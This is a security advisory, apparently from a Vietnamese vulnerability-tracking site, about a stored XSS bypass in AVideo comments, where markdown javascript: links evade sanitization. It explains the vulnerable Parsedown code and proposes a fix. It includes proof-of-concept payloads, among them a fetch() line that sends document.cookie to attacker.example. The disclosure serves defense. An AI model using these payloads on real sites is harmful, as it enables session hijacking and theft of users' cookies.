| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| wwbn/avideo | ≤ 26.0 | |
| avideo | ≤ 26.0 |
The fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom ParsedownSafeWithLinks class that sanitizes raw HTML <a> and <img> tags in comments, but explicitly disables Parsedown's safeMode. This creates a bypass: markdown link syntax [text](javascript:alert(1)) is processed by Parsedown's inlineLink() method, which does not go through the custom sanitizeATag() sanitization (that only handles raw HTML tags). With safeMode disabled, Parsedown's built-in javascript: URI filtering (sanitiseElement()/filterUnsafeUrlInAttribute()) is also inactive. An attacker can inject stored XSS via comment markdown links.
The original fix (commit ade348ed6) enabled setSafeMode(true), which activated Parsedown's built-in URL scheme filtering. This was then replaced by commit f13587c59 with a custom approach that turned safeMode back off:
objects/functionsSecurity.php:442-446 — safeMode disabled:
function markDownToHTML($text) {
$parsedown = new ParsedownSafeWithLinks();
$parsedown->setSafeMode(false); // line 445 — disables Parsedown's built-in javascript: filtering
$parsedown->setMarkupEscaped(false);
$html = $parsedown->text($text);
ParsedownSafeWithLinks (lines 349-440) overrides blockMarkup() and inlineMarkup() to sanitize raw HTML <a> tags via sanitizeATag(), which whitelist-checks the URL scheme:
// sanitizeATag() at line 360 — only allows http(s), mailto, /, #
if (preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $url)) {
$href = ' href="' . htmlspecialchars($url, ENT_QUOTES) . '"';
}
However, this sanitization only runs for raw HTML <a> tags processed through inlineMarkup(). Markdown-syntax links ([text](url)) are handled by Parsedown's core inlineLink() method (vendor/erusev/parsedown/Parsedown.php:1258), which constructs an element array and passes it to element().
vendor/erusev/parsedown/Parsedown.php:1470-1475 — sanitiseElement only runs when safeMode is true:
protected function element(array $Element)
{
if ($this->safeMode) // false — so sanitiseElement() is never called
{
$Element = $this->sanitiseElement($Element);
}
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phísanitiseElement() would have called filterUnsafeUrlInAttribute() which replaces : with %3A for non-whitelisted schemes like javascript:, but it is never invoked.
Data flow:
[Click here](javascript:alert(document.cookie))xss_esc() applies htmlspecialchars() — no HTML special chars exist in the payload, stored unchangedxss_esc_back() reverses encoding (no-op), then markDownToHTML() converts markdown to <a href="javascript:alert(document.cookie)">Click here</a>commentWithLinks (objects/comment.php:420)view/videoComments_template.php:15: <p>{commentWithLinks}</p>[Click here for more info](javascript:alert(document.cookie))
alert(document.cookie) in the victim's browser contextFor session hijacking:
[See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie))
Override inlineLink() in ParsedownSafeWithLinks to apply URL scheme filtering to markdown-generated links:
class ParsedownSafeWithLinks extends Parsedown
{
// ... existing code ...
protected function inlineLink($Excerpt)
{
$Link = parent::inlineLink($Excerpt);
if ($Link === null) {
return null;
}
$href = $Link['element']['attributes']['href'] ?? '';
// Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors
if ($href !== '' && !preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $href)) {
$Link['element']['attributes']['href'] = '';
}
return $Link;
}
}
Alternatively, re-enable safeMode(true) and find a different approach to allow <a> and <img> tags (e.g., post-processing the safe output to re-inject whitelisted tags).